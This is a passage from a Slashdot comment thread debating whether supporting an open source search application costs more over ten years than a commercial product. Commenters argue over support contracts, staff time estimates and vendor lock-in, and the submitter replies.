    Soon we will rid the world of all commercial software and open source zealots will rule the land.

    "In breaking news today October 2, 2010 Mr. Stallman the leader of our free but not as in beer society has decided that we will be required by law to refer to him as GNU/Stallman. For those who fail to do so will be required to attend a course on proper acronym usage and application and could be fined up $5000.

    In other news Bill Gates is still trying to figure out how Microsoft could have lost $40 billion dollars. Rumor has it that a Stallmanite hacked the .Net server which contained the bank account information containing the entire $40 billion and dispersed $1 to 40 billion PayPal accounts. Since the loss of the $40 billion in late 2004 Microsoft has struggled to stay in business. GNU/Stallman exiled Mr. Gates and his company to northern Canada, forbidding Mr. Gates from ever returning to the US. According to GNU/Stallman, 'He is a menace to our free society.' From this reporter's perspective Mr. GNU/Stallman used to be referred as the same."

    A gunshot rings through the news studio as a Stallmanite assasinates the subversive news anchor for his obvious attempt to tarnish the good name of our leader GNU/Stallman.

    Viva GNU/Stallman

    --
    LoRider
  127. One Tenth of a day? by HazMat · · Score: 2, Insightful

    Why would it take 48 minutes per day every working day to maintain software?

    I'm responsible for the installation of a suite of OSS applications and I barely spend any time on maintenance. Once the installation is complete and the initial configuration completed, there is almost nothing to do until a problem appears. At that point I may need to do some research. The only other maintainence might be every few months to may check for a new release.

    In what way is this any different than a commercial product?

  128. This question is badly phrased. by wboatman · · Score: 1

    The questioner wonders about the support costs of a commercial app that doesn't do all of what they want it to do. The vendor is going to customize it for free? I'm sorry, not for free, the support cost was less than $2600/year. Not including adding new features that the vendor wasn't planning to install, or thinks they can get the client to pay for. Played that game before doing government consulting.

    The real comparison is between using an OSS project, and paying someone to customize it, and using a commercial product and paying someone to embrace and extend it.

    I bet the OSS costs will still be less than the "peek at the source code" fee for a proprietary solution.

  129. Base Assumption Inequity by IBitOBear · · Score: 2, Informative

    Your cost differential analysis is flawed because of a base inequity. You presume that your for-pay solution will not have a percent-of-FTE-time associated.

    Even when you pay for support for a product, if you don't assign someone to actively track the product you will not gain the benefit of the support you pay for.

    Few if any support contracts provide that "whatever the supporting company discovers will be broadcast to the paying customers." That is, while the infomation will be "made available" to the supported entities, it will not be spoon/force-fed to same.

    Consider the typical support contract. Such a contract entitles the user to certian things:

    1) reasonably unrestricted access to some sort of knowledge base.
    2) reasonably unrestricted access to the current patch archive.
    3) telephone/email (whatever) access to someone who will help you find your way through items 1 and 2.
    4) the opportunity to add bugs to the development chain.

    Usually, these support contracts seem to have more value because of the phantom-element number five. (Someone to blame when the fix isn't available.)

    Now a truely expensive contract that garentees *any fix whatsoever* let alone garentees to *fix your problem in (whatever) time or less* tends to run into huge dollar amounts.

    So the total service rendered for a paid comercial support contract is for items 3 and phantom-5. And you only get to use these items when something is really broken. If you are not actively persuing items 1 and 2 yourself and at your own expense then you will have taken no preventative action, and an unmaintained system will likely break no matter how you acquire it.

    So Decide... Are you pricing a system that will be maintained?

    If so, you will have to allocate some fraction of an FTE. That cost will be similar no matter the source or positioning.

    If not, then cost will be a function of frequency of breakdown.

    Then, once a breakdown occurs...

    Does your support contract *garantee* a fix?

    If not, then the total cost expended on the support contract was paid to deflect accoutnability and allow you to contact a person who will walk you through the existing database of problems.

    Remember, almost nobody who has paid Microsoft, Oracle, Sun, or IBM to "support" their applications has *ever* gotten to do more than submit a trouble ticket. Paying support doesn't reserve you a programmer who will jump to your needs like a hound to a scent. It just buys you the right to be heard and the right to hear.

    Joining the mailing list (or hopefully bugzilla-style issue/ticket database) for an Open Source product is the free equivalent to 90% of what a support contract is anyway. The only thing you don't get free is access to someone who has the cookbook for pawing through the data.

    You need to quantify your expectations for "service contract" before you can properly assess the cost.

    --
    Innocent people shouldn't be forced to pay for inferior software development.
    --"Code Complete" Microsoft Press
  130. Stick with the default settings by The+Great+Carbunkel · · Score: 1

    Somewhat related. When I worked for a Telco we used several unix boxen monitor the telephone network. The default settings of the software didn't provide much in the way of redundancy or fail-over. So the -technically - brilliant contractor did that through various smart scripts etc. However, when we hit a bug in the software the vendor couldn't/wouldn't make it work until all this clever stuff was undone. Lucky for us the contractor was still on the payroll, so he could undo the damage. Lesson learned: when you are not going to build up the knowledge internally, stick with the defaults and don't change anything at all, or you will be of the deep end when things go wrong.

  131. Avoid this issue by doing better analysis by nicodaemos · · Score: 2

    Wanting to do an evaluation is a good idea, however, one can do more damage than good with a poorly done evaluation. I say this not because I know apriori which outcome is best for you, but simply for the fact that your analysis is flawed.

    All you did was add up a bunch of numbers (one of which is made up) and then decided which one was lower. Your end result can change based on how big your made up number is .... mmmm, if you were my consultant and submitted that, I would have fired you on the spot. Any monkey can add (and make up) numbers .... consultants are paid for doing some actual work like actually analyzing the details -- at least my consultants are.

    In this case the details which you glaring glossed over are some projections (based on historical data) of bug counts, resolution times, platform support, release frequency and the amount of clout you have to influence bug priority. That last one is very important if this system is to become mission critical 24x7 functionality.

    Furthermore, it is not enough to know that you're buying support from a software vendor, qualitative factors such as response time guarantees, escalation clauses, level of effort required to submit problem and access to knowledge bases are all very important.

    Factoring in all of this information, your analysis becomes one of assessing which software vendor can be your partner for the next 10 years. The best partner for you will depend on your personality, it might be the proverbial Maytag repairman (kind of there, but then again their product is rock solid and you never need them) or it might be like Microsoft (always there, but you stop calling because they can't solve the numerous problems).

  132. Pretty goofy question by onShore_Jake · · Score: 1

    The guy sez "is anyone in the business of providing commercial support and training for the entire universe of Open Source, perhaps contracting on a product-by-product basis? I guess a corollary to that question is, if not then why not?

    Uh.. because (for starters) "the entire universe of Open Source" is just a wee bit too large for one person/group to be able to support. Sourceforge for one, has over 50,000 projects. Also some things that are "open source" may actually not be supportable due to crapulance. (e.g. I'll open source the following code for you:
    10: do what ever I say 20: go to 10
    ) So, if you are actually suggesting that "There might be a viable business model here!" Then I hereby throw away anything you say about business, including your TCO analysis

  133. Error: 0x0000ffff by sbillard · · Score: 0
    "Anybody remember what that pimply-faced intern did when he recompiled that DLL last summer? Damn what was his name....?"

    Of course open sores is going to cost more in some cases (no, not always), But the lack of accountability is what has the PHB to afraid to implement any such nonsense into his datacenter. I wouldn't allow it either. Stay the hell away from my production source code. Better yet - let someone else keep the source code and I'll call them when I have a problem with the binaries. Its all about accountability when your ass is on the line. I don't want undocumented changes to come back and bite me in the ass. I know I know. Strict change control and peer review - right? Yeah sure, and nobody plays the "cowboy" in your IT dept either. LOL

    I keep hearing from this crowd that closed-source and protected IP is a doomed business model. I just don't see how you can justify that.

    BTW Microsoft PSS support is free (as in beer) if you suffer from a bug in their product. You're only charged $$$ for support when you don't RTFM

  134. did you factor the time-value of money? by brittm · · Score: 1

    I hear a lot of people say things like..."$1000 each year for eight years is $8000, and this other product only costs me $6000 up front so its cheaper..." Did this guy's calculations take into account the time value of money? Financially, money now is worth a lot more than money later. To truly compare, you would have to take the money saved up front on the OOS and place that in an intrest bearing account until its actually needed--thats about 6 years of interest by your calculations before any of that money is needed to continue to support the OSS solution. If time-value wasn't taken into consideration, then the OSS would likely be actaully cheaper even according to your own estimated costs (which most folks here think are a little high.) I really wish more people would take the time-value of money into account when siting TCO numbers. Didn't any of these engineers learn this stuff?

  135. Karma capped accounts don't often get to mod. by StupidKatz · · Score: 2

    RTFM. Mods are picked from the middle of the pack. Periodic posts, average karma; not the -1 trolls and not the +49 folks.

  136. It costs much less in Rhode Island by Internet+Dog · · Score: 1
    The Secretary of State of Rhode Island paid a consultant less than $8,000 to develop a website for submitting state regulations to the secretary's office. The regulations are submitted by the agencies through a web form. The form requires them to enter some meta information about the document and then attach the pdf of the regulation. The form processing software passes the pdf file though pdftotext and pushes the text into a MySQL database. The the general public can search all state regulations through a web interface. The implementation was trival. The consultant used MySQL to search the documents and find all the relevant documents.

    The maintenance cost of this site is very low, but the request for additional features will probably soak up some additional funding. There are plans to add a freshmeat like feature to the site where individuals can ask to be notified any time a new regulation comes out that matches a query.

  137. Obviously a government job by whereiswaldo · · Score: 2


    A full search engine setup should need almost no administration after the initial breakin period. Why? The basic functions of the engine should never change!

    Search engines crawls pages, indexes them, provides an interface for searching, and returns search results for browsing. Ten years from now, it'll still do the same thing.

    To me that begs the question - why on earth would anyone pay for 24x7 support for a search engine? In case the engine goes down? That's an unlikely event given the stability of open source software and proper hardware. But say it _did_ go down - reboot the machine. Done. What if the hard drive crashes? Restore it - that's what IT is for. Need an expert? Pay for one on an hourly basis ($200/hour should attract someone quick - that's still cheaper than 24x7 support that will rarely be used).

    Propriety software is not usually supported too far out from when it is released. Propriety software companies want you to upgrade every year or two or they'll pull support and you'll be on your own. So you have to upgrade your search engine say once a year and pay for someone to do it. Plus, it might break some other software or require you to upgrade to the latest version of Windows, etc... which also must be figured in.

    Anyway, this story is chock full of holes. Many more questions could be asked for which no answers have been given. For example, what about the number of pages indexed? Most search companies charge you based on the # of pages you want indexed. Go above that and you'll need the costly enterprise version.
    I find it very hard to believe that a proprietary software solution would be cheaper than open source.

  138. 10-year lifetime?!? by rlangis · · Score: 1

    Oh come now, do you *really* expect anything like this to last 10 years? We're using an app here at work that we decided didn't have the options we needed and so went to a web-based solution after using the other for only a YEAR.

    Applications, hardware, software and just about EVERYTHING change by leaps and bounds in just a 1-year lifespan. Moore's law is based on an 18-month timeline. You're talking Moore's law timeframe x7! Be reasonable in your lifetime expectations, and THEN come back and talk to us.

    --
    GIR: I'm going to sing the Doom song now. Doom doom doom doom doom doom de-doom doom doom doom doom doom doom...
  139. Wrong by Anonymous Coward · · Score: 0

    With open source you can buy support from a company that doesn't exist, because if there's someone paying, someone will found a company.

    With proprietary single vendor software, if the company doesn't exist anymore, you're SOOL, no one else can work on the stuff even if you pay.

    1. Re:Wrong by Anonymous Coward · · Score: 0

      And the proprietary company can even exist, maybe the product just isn't supported anymore. Guess which is easier & cheaper, getting someone to hack your NT 3 vs. getting someone to hack your Linux 2.0?

  140. What a geek by Anonymous Coward · · Score: 0

    This is exactly the reason commercial support gains so many purchase decisions for commercial software. Not all users are smart. Or, not all smart users choose to spend their time studying every single software product they use. Instead, people choose to focus their energy on their own areas of expertise and depend on others for SUPPORT. When you look for support and get told you need to become an expert yourself, THAT is a very hostile environment and will drive the user/customer to a different product. Now, OSS does not have the same competition for customers that commercial software has. Since OSS is built, for the most part, by people donating their time for the greater good, to build something neat, they don't have to deal with the details of a customer based relationship. The problem, though, is that this mirrors the classic error that high tech companies have always made... the "if you build it, they will buy" syndrome. There are plenty of studies that demonstrate how products need to be driven by customer need, as identified through multiple "requirements" gathering techniques. Products that developers build and then throw over the wall to marketing & sales are far less frequently successful. And herein lies the dilemna in much of the OSS frenzy. How does one build software that solves customer problems when the customer is not the focus of attention?

    This attitude toward support, of expecting customers to RTFM when they don't have the time and do have the money to pay for the knowledge is symptomatic of the larger problem.

  141. Real Timed License... Not FUD! by rollie_tyler · · Score: 1

    Surprisingly enough, it's everyone's favorite Microsoft-killer, Apple. Their Shake application reqires an Annual Maintenance fee of $1,199. FX

    1. Re:Real Timed License... Not FUD! by Twirlip+of+the+Mists · · Score: 2

      Maintenance is a support contract. You don't have to pay it if you don't want support. You can just by Shake, all by itself, for a one-time fee. You get a permanent license for it when you do.

      --

      I write in my journal
  142. Decade-nce in support by tz · · Score: 1

    Try writing into the support contracts that you get the source or they pay (escrowed) for support or correction over the life of the system if any of the following happen: 1. They go bankrupt. 2. Any change of business plan (acquisition, restructuring) causes them to drop support for the product. 3. Dependent software changes or updates and they decide not to support the newer version (Office 95 or 97 are now unsupported but are far less than 10 years old).

    Also, what is the assurance of quality of support? Lets say the system is popular but the system is "too slow", but can't be addressed by upgrading hardware. The system has FAILED, but "support" is worthless. In a long-ago /. article, it noted that Microsoft support didn't compare favorably to "the Psychic friends network".

    Or you call, get put on hold, talk to a receptionist spelling out every word of geekspeak, then a few days later someone calls back and leaves a message that they will call back sometime, (no callback number) since you were talking to someone else and voicemail picked up.

    Or that the problem is something systemic and won't be addressed until the next version.

    Make sure that the contract specifies things clearly and exactly. Remember you will be bound to the vendor for longer than many people are married.

    (The OpenSource may not be cheaper initially, but has an upper limit on costs - Tell me what you are looking at and I can probably arrange support - either over a term or per-incident).

  143. Re:Biggest problem with commercial use of open sou by Anonymous Coward · · Score: 0

    That's the most ridiculous thing I've ever heard. If anything, the reality is reversed. Mozilla has some of the best features that MOST browser customers value. Pop-up blocking and tabbed browsing. Last time I checked IE didn't do those things. In tinkering with Linux, many of the tools have some fabulous features that I always wished Windows had. Like switching dekstops within X. Money! If I have suggestions about a new version, I fire off a politely worded e-mail to the developers. Perhaps they read it; maybe they don't. My e-mail to MS goes right in the circular file...

  144. I thought this debate was already over. by Alethes · · Score: 2

    Even Steve Ballmer says that Microsoft can't compete with the total cost of ownership of Linux.

    From http://www.varbusiness.com/sections/News/breakingn ews.asp?ArticleID=36355
    "One issue we have now, a unique competitor, is Linux. We haven't figured out how to be lower priced than Linux. For us as a company, we're going through a whole new world of thinking."

    If Microsoft can't undercut the cost of Free Software, how in the world would anybody else be able to? It seems to me like somebody bought the FUD campaign.

  145. support by flaming-opus · · Score: 1

    I suppose I'm not surprised that the OSS solution was not appropriate to your needs. OSS can only solve so many problems. Any time custom engineering is required, things get expensive quickly. If there is a commercial software package that already does what you need to do, and there's no single OSS solution that does every thing as you need it, the likely case is that the OSS will cost much more to use over time. IF this were not true, there would be no more closed source software companies.

    Open source software is software like software developed under any sort of model, and it is true for all software that good software does not necessarily make for a good product. Documentation, support, longevity are things to be considered when making any software decision.

    Look at the Open source software that is being widely deployed in the server industry: it is long-lived, tried, and tested stuff. It is the sort of open source software that IBM is willing to stand behind, and sell a support contract for. This is the sort of support you can by. IBM (and the like) will sell you support for the open source software that they think is robust enough for them to support.

    I doubt very much there is much of a market for someone to sell wide-reaching OSS support. Support services are very expensive operations to run, and the profit margins are not tremendously high. The only way to make much money at it is to have a very small niche, in which there are few things to go wrong, and a small team of engineers can handle all of the support calls, or to do it on a very large scale, and profit by selling huge contracts. Otherwise the capital needed to develop procedures, expertiece, and to keep around a capable staff just don't pay off in the end.

    OSS is no magic bullet. There's some open source software I'd deploy in the field, but a whole lot that I tinker with and wouldn't dare install on a critical server.

  146. Things to consider.. by Ogerman · · Score: 2

    Be sure to factor in any additional costs of using a proprietary package. For example, you don't want this one package to hold you back from switching to Linux on all desktops and servers, assuming all other needs are met. Any OS / server license costs that wouldn't be needed with the Open Source solution must be included in the cost of the proprietary one.

    That being said, why not contract a brilliant but currently unemployed geek (lots of them out there these days!) to help you deploy the Open Source solution. Have them make any customizations or improvements needed to make the Open Source solution fit your organization like a glove. Perhaps they can even help with the training or at least preparing training manuals for the staff. And if needed, keep them on retainer to provide support services in the future. As long as you're not paying this person more than you'd spend on proprietary licenses, you're budget is still in the black and you're getting a superior solution with no obnoxious vendor ties.

  147. The analysis is logical by Dastardly · · Score: 1

    Basically, what you have shown is that in a small organization it doesn't make sense to have some one whose job is to support software unless you can fill that person's time with stuff. Instead a support contract allows you to purchase a portion of a person's time. And, it becomes the commercial entities job to figure out how much support they have to provide, and to hire the appropriate number of people to support the entire group of customers, not just a single installation. Plus, by having mor ethan one person that commercial entity is not impacted by a single person departing as badly.

    Don

  148. The author answers: "Why 10%?" by Jack+William+Bell · · Score: 3, Informative

    A number of posts here have attacked the 10% of an FTE figure I used. These posts basically break down into "4 hours a week just to read a mailing list, that is so ridiculous!" and the more informed "You would still have to patch and update a commercial product, what about that?"

    To the first I answer that it isn't 4 hours a week to read a mailing list. It also includes time to come up to speed with the product, with the tools the product uses (like 'make' and GCC which are not used in the shop) and with the programming language the product is written in (also not used in the shop).

    These are not one-time costs because, as I pointed out, they do have employee turnover and it is usually the 'best and brightest' -- who would likely be the ones doing doing the support. So any one year it might be 25% of an FTE or 5%. Also I figured most of this effort was just so they could ask the right questions on the mailing list and not get a 'RTFM' in response. Sure I just took a SWAG and used 10%, but it was a figure my customers felt comfortable with.

    Remember, I am a consultant. I assist my customers in making descisions, I don't make the descisions for them. If they prefer to err on the high side of something they are not sure about they are in the right to do so.

    As to administration costs, sure they exist in commercial products. And I had a separate line item for that! The problem is that, even when I set the admin costs the same for both, the long-run effects of the support costs proved surprisingly high.

    Note that making them the same may not have been entirely honest because the Open Source product would likely have had higher admin costs than a more 'polished' vendor supported product.

    Jack William Bell

    --
    - -
    Are you an SF Fan? Are you a Tru-Fan?
    1. Re:The author answers: "Why 10%?" by RealAlaskan · · Score: 3, Insightful
      A number of posts here have attacked the 10% of an FTE figure I used. These posts basically break down into "4 hours a week just to read a mailing list, that is so ridiculous!" and the more informed "You would still have to patch and update a commercial product, what about that?"

      To the first I answer that it isn't 4 hours a week to read a mailing list. It also includes time to come up to speed with the product, with the tools the product uses (like 'make' and GCC which are not used in the shop) and with the programming language the product is written in (also not used in the shop).

      So, let's say that when there is a new guy assigned to support, or whenever there is a problem, doing support eats up the entire 40 hour week. That seems a little high, but it's plausible. So, there must be either a new guy or a problem every 10 weeks to get to the 0.1 FTE. That's NOT plausible.

      My guess is that once things get going, there won't be any troubles from one year to the next. When there is a problem, it will probably be along the lines of: ``How do we get this old turkey to work with our new Whizz-Bang 5000?'', and that sort of problem is likely to be expensive, whether you've gone proprietary or libre. With a Libre software solution, it is likely to be solvable. With a proprietary solution, the vendor's reply is likely to be: ``You don't. Replace your reliable old system with our new, proprietary, Gouge-You-Deeper product.'' There goes your 10-year minimum lifespan.

      My guess is that the in-house costs for support are going to be about the same either way you go. Someone is going to have to be up to speed and able to ask the right questions if things go sour, no matter what the license and no matter what you pay for outside support.

      I supspect that if you offer money to the developers, you will find one or more of them would be happy to contract to be available to fix problems as they arise. If you can't make arrangements with a developer, anyone who cares to spend some time learning the program can do the same job for you. You will be able to negotiate mutually beneficial terms if you go this route. If you get support from a proprietary vendor, you won't. You'll find yourself paying a lot for a little, until they decide to raise support prices and make you buy a new product. I've seen this done.

    2. Re:The author answers: "Why 10%?" by Jack+William+Bell · · Score: 3, Interesting

      Rather than argue with your points, I would rather ask a simple question; "Do you now, or have you ever worked as a consultant producing high-availability custom software for business or government agencies who have strict operating system and support requirements?"

      I suspect many of the people posting here would answer that with a "No." I also suspect more than a few who could answer it with a "Yes." would disagree with various things I have stated, but they would do it from a position of knowledge others do not posess. This isn't technical knowledge, but rather knowledge of how large organizations (who's core business is not technology) operate.

      All I can say is that I honestly wanted to recommend the Open Source option, took a good try at figuring a lifetime cost for it so that I could do so (NOT A TCO! A TCO is different and more comprehensive.) and was surprised by the results. Note that in the end it turned out I couldn't recommend the Open Source option for technical reasons anyway.

      Jack William Bell

      --
      - -
      Are you an SF Fan? Are you a Tru-Fan?
    3. Re:The author answers: "Why 10%?" by RealAlaskan · · Score: 2
      I've worked for a company which made medical billing software, and sold turnkey systems. We priced our maintenance contracts to maximize our profits. Sometimes that meant pricing high enough that the old equipment looked unattractive, so we could sell new equipment. Sometimes, if we didn't think that the new equipment would come from us, the price didn't go up fast, but we didn't give any more service than the letter of the contract required. That, of course, was astonishingly little. Always, the customer was gouged as deeply as possible. Usually, it would have been cheaper for the customer to do without a contract, though we were careful not to point that out.

      I've also done a bit of government purchasing, and I know well how finicky and silly some of the requirements are. I also know that someone who wants to use the system can use those requirements to get whatever he wants, or to stonewall whatever he doesn't.

      So, I've seen this sort of issue from both sides, and I know something about it. My point was not that you should have recommended one option or the other, but that this one issue didn't look right.

      I'll say it again: Whether you use libre or proprietary, you'll need to have about the same amount of employee's time allocated to support. The cost of a support contract for the libre product will very likely be a lot lower FOR A COMPARABLE LEVEL OF SERVICE , for a ten year period with no upgrades, for reasons which I alluded to in the first paragraph. The libre guys don't have a monopoly, and aren't trying to sell you any hardware (or software, for that matter).

      If the developers really aren't interested in selling support, that's an opportunity for you. You can learn it up and go into the support business. If you'd rather not have the conflict of interest, anyone you know and trust could get a nice little part-time business going doing this sort of thing. This is one of the unsung advantages of owning the source code: anyone can contract to do support!

  149. Mac OS 9 Is Supported by hotsauce · · Score: 2

    Sorry buddy, Mac OS 9.2 /is/ supported, along with all versions of OS X (except Beta, which was never supported).

    Your point is still somewhat valid. Though if you can buy a 10 year contract for the product, it will be supported for the length of the contract.

    The best suggestion I have seen is to bid for a contract on the tech mailing list. I have seen it done with very good results.

    1. Re:Mac OS 9 Is Supported by teamhasnoi · · Score: 2
      Actually, since it is OS 9 on a clone (SuperMax C600 - supported up to 8.1, now unsupported by Umax who no longer makes them ;)) it is unsupported by Apple, not to mention a licence issue. I believe that was? the case with some Apple made G3s - I'm not sure where they stand on that now.

      I admit I'm going out on a limb with the 10.1 thing :)

    2. Re:Mac OS 9 Is Supported by walt-sjc · · Score: 2

      Though if you can buy a 10 year contract for the product, it will be supported for the length of the contract.

      Not often true. All that will get you is that someone will answer the phone in most cases. In the worst cases, the company will no longer be around.

      I have NEVER seen a support contract that guarentees that bugs will be fixed to customer satisfaction, and that the software will be enhanced to support additional needed functionality.

      Most support contracts are of limited value. The flexability and power you get with OSS is priceless.

  150. Re:First posty by Anonymous Coward · · Score: 0

    What does this have to do with "first post french toast"? Or are you just making a sad attempt to get your comment read first?

  151. Lifetime Cost by diakka · · Score: 1

    Over the course of a lifetime.. I don't see how propriotary software could be cheaper than Free/OSS. It's like the difference between buying the house and renting the house.

    Now it could be that in certian instances, proprietary software could be cheaper in the short run. But the wonderful thing about Free/OSS is that once you build that infractructure... it's there, you don't have to keep paying for it.

    In terms of support, I see two main issues as affecting the cost of support.

    A) The prevelance of the software.

    B) The level of competition between support houses.

    Now if a propriotary product is far more prevelant than a Free one, The support may be cheaper. On the other hand, if the prevelance of 2 software packages is about equal, Free/OSS support should be cheaper since you have more choice in where you get your support.

    Envision the following scenario: We are trying to decide between the freefoo and payfoo software packages. Freefoo is a barebones package. It can do what you want, but is a bit difficult and costly to set up. Payfoo on the other hand is a featureful peice of software that more than meets your needs at present. Payfoo's support is also cheaper. Seems like the obvious choice is to go with Payfoo right? But software is a dynamic product. In time, Freefoo will probably improve, become more prevelant and better supported. If you're paying someone for support, say someone who contributes code to FreeFoo for support, This improvement is only going to happen faster. This has already happened with Commercial UNIX versus Free alternatives. I believe it's just a matter of time for it to happen with other software as well.

    --
    -- Knowledge shared is power lost. -- Aleister Crowley
  152. also, factor in the BLAIM GAME by zaqattack911 · · Score: 1

    A common practice I've seen is the fear of going opensource because if something breaks they have nobody to blaim.

    If win2k dies and formats your HD for no reason, you can at least call up support.. and bitch.
    And tell your boss MS did it.

    If your linux machine explodes, the guy who installed it (or decided to go with linux in the first place) gets the blaim.

    blaim takes precedent over cost :)

    --noodles

  153. Apps without support? by dh003i · · Score: 3

    What apps can't you get support for? They're probably minor ones.

    For all of the major apps, you can purchase support at competitive prices, which is much better than the built-in monopoly support you get when you buy proprietary software.

    If you don't have support for a particular piece of software with which you need help, you can hire a guro at competitive prices. Again, cheaper than the monopolistic support you get with proprietary products.

    You are charged for support for proprietary products. Its either built into the cost of the software, or you pay extra for it and its built into the cost of the software. The money it takes to hire techs doesn't come out of thin air. Either you're paying for it somehow, or the company is subsidizing it with another revenue source. I.e., a software company subsiziding support for a minor product from revenues from a major killer app. Either way, you're paying. And you're paying in what is effectively a monopolistic market, since no one other than the company can provide adequate support for products, as you need the source code and familiarity with it to offer acceptable support.

    With OSS and FS software, you get support at competitive rates, not monopolistic rates. Overall, its cheaper. You're also likely to get better support, as these guys aren't bound by idiotic "return to the default before you proceed" mandates. Have you ever called up MS for support on Windows? Here's how it goes:

    "Oh, you're having problems with X...what did you install last? Ok, uninstall it. Still doesn't work, ok, do A, B, C, D, E, F, G. Still doesn't work? Well, our agreement states that that's all I can do for you. The only thing I can do for you now is have you uninstall the entire program and reinstall it. You'll have to download updates over again. Oh, you reinstalled it and it still doesn't work? Well, I'm not authorized to help you any further. The only thing I can do is guide you through reinstalling your operating system, since there must be somthing wrong with it."

    This is the kind of crap support you get from proprietary vendors. Whenever I've called up a proprietary software vendor or an OEM for support, I've never gotten anything that I didn't already know...they just read from instruction books. If, on the other hand, you pay for support in a compeitive market, you get it firstly at a better price. Secondly, you also get better support, as no one could get away with doing that crap. In other words, you get a real software problem solver (guru), not someone who flunked out of Computer Science and is now doing a job which is the computational equivalent of "do you want fries with that?"

    Also, when considering the cost of proprietary software, you should also consider the costs of intellectual property problems, and dealing with the BSA. If the BSA even accuses you of something, you're going to lose millions trying to defend against that accusation. It'll cost you alot of money to try to be compliant with BSA standards. And it'll cost you many millions more if you have to reach an agreement with the BSA for compensation because you misplaced some paperwork.

  154. Costs by Lando · · Score: 2

    Yes, it's more expensive to support a custom application rather than one that is generic in function...

    A lot of small companies run system administration support... If you need continuing support contact one of them... For instance my company will do it for a modest monthly maintenance fee and bill for the actually hours worked.

    But you'll still be paying around 4000 a year, maybe 1800 if you have no problems during the year.

    It's better to go to someone that specializes in exaclty the type of product you need usually.

    Personally, the only reason I avoid proprietary software is licensing issues... Far better to buy the best product and service. Not use open-source unless it fits the need.

    Anyway, that being that... You should check out google's search engine... It's a 1U unit you throw on a network and it does pretty much everything necessary... Support costs should be low since that's their main business.

    IE, proprietary, but the company is ethical... Contrary to other search engines that require payment for links..

    If you still want to go with an open source project feel free to give my company a call and we'll see what we can do for you... But remember that open source isn't always the best solution.

    --
    /* TODO: Spawn child process, interest child in technology, have child write a new sig */
  155. a few comments by Anonymous Coward · · Score: 0

    1 Supplier longevity isn't the only issue: few to no commercial software vendors support older versions of software for more than a few years. Look at each vendor's history for dropping support on older versions.

    2 instead of spending on support, they're spending on tech-employee turnover - keep your knowledegable people and foster an environment of idea sharing and documentation. That will seve you wether you're using open source or not.

    3 support costs for open source systems is probably harder to estimate then most people think. Many open source software applications have infrastructure level quality and often run in the background, unnoticed until something changes about the external environment. Of course software that's forgotten about for a few years will be hard to remember how to use/configure/fix, but that isn't specific to open source, and leads back into the previous comment...

  156. Is "support" worth it? by eison · · Score: 1

    What do you value? The ability to sit on hold only to not have your problem solved or to be told that the 'work-around' is to reboot? Or the ability to actually be able to dig into the code and change something if you really and truly need it to work?

    I'm just jaded on the value of support, it seems like you end up figuring out/fixing/working around anything with your own staff *anyway*, so you might as well give them something they can work on if they have to.

    --
    is competition good, or is duplication of effort bad?
  157. From Jack's homepage by Anonymous Coward · · Score: 1

    I grabbed this link from the individual who submitted this story. A very pro-Microsoft stance in regards to the Anti-Trust case.

    http://www.sff.net/people/jackb/openletter2hatch .h tml

    Here is his homepage:
    http://www.sff.net/people/jackb/home.ht p

    This quote is from his rant page, would you say he has a biased view?

    _quote_
    Not that I am a Microsoft defender mind you. I worked there for two and half years (as a contractor) and have seen the place from the inside.
    _qoute_

    just my 3 cents.

  158. Re:Biggest problem with commercial use of open sou by Anonymous Coward · · Score: 0

    Hire someone to write the feature you want ...

  159. Depends on what we're talking about... by Kjella · · Score: 2

    In the commerical software world, you cannot use the same product for 10 years. You will purchase upgrades, and you will purchase new hardware to run those upgrades if you want support. Why? Because any company that doesn't make you do that will be bankrupt in 10 years.

    I know a bit of oil/shipping industry (no, I didn't work in the company, but had a fairly serious project with them), and they were supporting at least two generations behind the current OS, which is WinNT (though they were also adding 2k/XP due to customer interest). And if you ask what was before NT, and before that again, you're talking ancient history. Customers expect support for the entire lifetime, and they get it. And this is a very successful company in growth, nowhere near bankrupcy...

    Then again, this doesn't sound that serious, so should be replacable. But don't make too broad generalizations :)

    Kjella

    --
    Live today, because you never know what tomorrow brings
    1. Re:Depends on what we're talking about... by Anonymous Coward · · Score: 0

      Two versions before Windows NT? That would have to be OS/2 1.0

      Or did you mean two versions before NT 4.0, getting os back to NT 2.0 (if only counting major versions) or NT 3.5 (if counting 3.5 and 3.51 as separate versions).

  160. It Depends by jasonrfink · · Score: 1

    On a bunch of things. A small company that turns a good profit can get away with paying high salaries for a few experts, inversely, this may not work in a large company that is not tightly incorporated. It can work in a large company, but often it does not because of politics. Most of the time, what one ends up with is a mix. Some open source here, some proprietary there, and our favorite, a strange mix. I would venture to say that a small company that can handle paying high salaries can grow well using open source, but simply dropping it on a large one could prove extraordinarily costly. IMO the best approach is gradual integration of open source (or any technology someone thinks is beneficial).

  161. Is it time... by circusnews · · Score: 1

    Lets look at this from the prospective of trying to foster further commercial
    acceptance of OSS. As it currently stands, there is NO way to ensure that
    some one is competent to support OSS. MS has the MCSE certification,
    novell has its program, and so does Sun (and many others). But there is
    not any such beast for OSS.


    Now, ignore for a minute the political issues that this brings up within the
    OSS community, how hard would it be for an OSS group to put together a core
    certification process, and then allow the different OSS projects to build there
    own add on module for certification in that project on top of the core
    certification?


    This would go a long way in making it easier for OSS to be accepted in
    commercial settings, as support would no longer be an issue, just a matter of requiring
    a specific certification be held by the support tech they hire.

  162. Front Page Troll! by ChrisNowinski · · Score: 1

    Oh man, you win! Front page troll is KEY.

  163. Why is does it cost more. by Anonymous Coward · · Score: 0

    Number one of the company that give you the product dies you are in the same boat but even more trouble.

    Number two companys could have a staff member providing support on a pay for help base. Ie sell you investment off to other companys using the same software.

    Basicly redhat lives providing support to a lot of software. Other company like that sell support. The big problem is that opensource project and support companys really don't work together.

    The opensource project is more likely to point you to there mailing list than to a comerical company. As this way they get access to your problems so they can fix the program so others don't have trouble. With out the program name I could not tell if this person just did not look deep enought.

    As with all software and hardware homework and more homework.

  164. Search engine is a bad example by FamousLongAgo · · Score: 1

    Search engines tend not to make good standalone apps / components. They are very intimately tied to the data and the indexing scheme you use, especially if they are large / customizable. Looking for a standalone search engine is like looking for a standalone GUI - they exist, but more commonly are developed as part of a larger project.

    The main risk I have seen in using closed-source search engines is that your data gets trapped in a format or taxonomy that you can never alter. For example you might find you need Unicode support, or phrase matching, or support for PDFs, etc. etc. etc. At least with an open source program you have some options.

    --

    A customer service representative will be with me shortly.
  165. A few incorrect assumptions by mongre · · Score: 3, Insightful

    I work as an IT consultant and have worked extensively on both proprietary and Open Source software solutions. I have found in most cases OSS beats proprietary on costs hands down.

    I believe the original poster makes some incorrect assumptions.

